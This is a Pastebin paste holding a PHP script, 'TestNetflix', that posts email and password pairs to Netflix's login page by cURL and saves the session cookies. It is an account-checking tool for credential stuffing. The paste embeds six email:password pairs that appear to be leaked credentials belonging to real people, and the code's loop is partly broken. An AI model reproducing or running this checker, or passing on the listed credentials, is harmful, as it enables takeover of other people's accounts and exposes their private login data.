Advertisement
Guest User

Untitled

a guest
Jun 16th, 2015
14,640
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.85 KB | None | 0 0
  1. <?php
  2.  
  3. class TestNetflix
  4. {
  5.    
  6.     public $accounts;
  7.     public $usermail;
  8.     public $password;
  9.     private $dataSize;
  10.    
  11.     public function __construct($accounts)
  12.     {
  13.        
  14.         $this->accounts = $accounts;
  15.        
  16.     }
  17.    
  18.     private function setData()
  19.     {
  20.        
  21.         $data = explode("\n", $this->accounts);
  22.        
  23.         $this->dataSize = count($data);
  24.        
  25.         foreach($data as $key){
  26.            
  27.             $break = explode(':', $key);
  28.             $this->usermail = $break[0];
  29.             $this->password = $break[1];
  30.            
  31.             $this->setCurl($this->usermail, $this->password);
  32.            
  33.         }
  34.        
  35.     }
  36.    
  37.     static public function setCurl($usermail, $password)
  38.     {
  39.        
  40.         $curl = curl_init();
  41.        
  42.         $headers = array(
  43.             "POST /login?locale=pt-BR HTTP/1.0",
  44.             "Content-type: text/xml;charset=\"utf-8\"",
  45.             "Accept: text/xml",
  46.             "Cache-Control: no-cache",
  47.             "Pragma: no-cache",
  48.             "SOAPAction: \"run\"",
  49.         );
  50.        
  51.         curl_setopt_array($curl, array(
  52.            
  53.             CURLOPT_RETURNTRANSFER => 1,
  54.             CURLOPT_URL => 'https://www.netflix.com/login?locale=pt-BR',
  55.             CURLOPT_POST => 1,
  56.             CURLOPT_HTTPHEADER => $headers,
  57.             CURLOPT_USERAGENT => $_SERVER['HTTP_USER_AGENT'],
  58.             CURLOPT_HEADER => 1,
  59.             CURLOPT_FOLLOWLOCATION => 1,
  60.             CURLOPT_RETURNTRANSFER => 1,
  61.             CURLOPT_REFERER => 'https://www.netflix.com/',
  62.             CURLOPT_POSTFIELDS => array(
  63.                 'email' => 'eisbar.amy@gmail.com',
  64.                 'password' => 'virtuous'
  65.             ),
  66.             CURLOPT_COOKIEJAR => 'cookie.txt',
  67.         ));
  68.        
  69.         $rel = curl_exec($curl);
  70.        
  71.         curl_close($curl);
  72.        
  73.         if(!$rel)
  74.             echo 'não';
  75.         echo $rel;
  76.        
  77.     }
  78.    
  79. }
  80.  
  81.  
  82. $a = 'eisbar.amy@gmail.com:virtuous
  83. elkuhr@gmail.com:091906
  84. ellentwood.23@gmail.com:tamagotchi1
  85. emicallef42@gmail.com:december10
  86. emiliechaney@gmail.com:niapsnoj
  87. emz.rokzzz@gmail.com:jackwills';
  88.  
  89. $netflix = new TestNetflix($a);
  90. $netflix::setCurl('eisbar.amy@gmail.com', 'virtuous');
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement